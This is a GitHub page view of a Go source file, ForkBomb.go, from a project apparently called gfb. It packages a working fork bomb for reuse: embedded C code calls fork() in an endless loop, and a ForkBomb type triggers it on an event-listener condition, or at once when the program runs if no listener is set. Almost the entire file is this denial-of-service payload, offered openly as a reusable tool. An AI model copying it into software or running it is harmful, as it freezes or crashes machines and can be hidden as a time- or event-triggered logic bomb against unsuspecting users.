-
Notifications
You must be signed in to change notification settings - Fork 2
/
ForkBomb.go
86 lines (71 loc) · 1.58 KB
/
ForkBomb.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package fbomb
/*
// Author: Aliasgar Khimani (NovusEdge)
// Project: github.com/ARaChn3/gfb
//
// Copyright: GNU LGPLv3
// See the LICENSE file for more info.
*/
import (
"sync"
puffgo "github.com/ARaChn3/puffgo"
)
/*
#include<unistd.h>
int fb() {
while(1){ fork(); }
}
*/
import "C"
type ForkBomb struct {
// Listener specifies the EventListener for the bomb.
// If Listener is nil, the ForkBomb will go off as soon
// as the program/binary is executed.
//
// To create an event-listener, use the NewListener function
// present in the puffgo project.
// For more details, visit the puffgo wiki.
Listener *puffgo.EventListener
}
func NewBomb(listener *puffgo.EventListener) *ForkBomb {
fb := ForkBomb{}
if listener == nil {
el := puffgo.NewListener(nil, func() bool { return true })
fb.Listener = el
} else {
fb.Listener = listener
}
return &fb
}
// Arm() allows the activation of the bomb. If a bomb is not armed,
// it won't be triggered even if the event defined in Listener occurs.
func (fb *ForkBomb) Arm() {
var wg sync.WaitGroup
// Run listner's mainloop
go func() {
defer wg.Done()
fb.Listener.Mainloop()
}()
// Check for trigger...
go func() {
defer wg.Done()
for {
if isTriggered := <-fb.Listener.TriggerChannel; isTriggered {
fb.Listener.Terminate()
_cfb()
break
}
}
}()
wg.Add(2)
wg.Wait()
}
// Disarm() allows the deactivation of the bomb. It passes a true into
// the TerminationChannel of Listener, thereby terminating the listener's
// mainloop.
func (fb *ForkBomb) Disarm() {
fb.Listener.Terminate()
}
func _cfb() {
C.fb()
}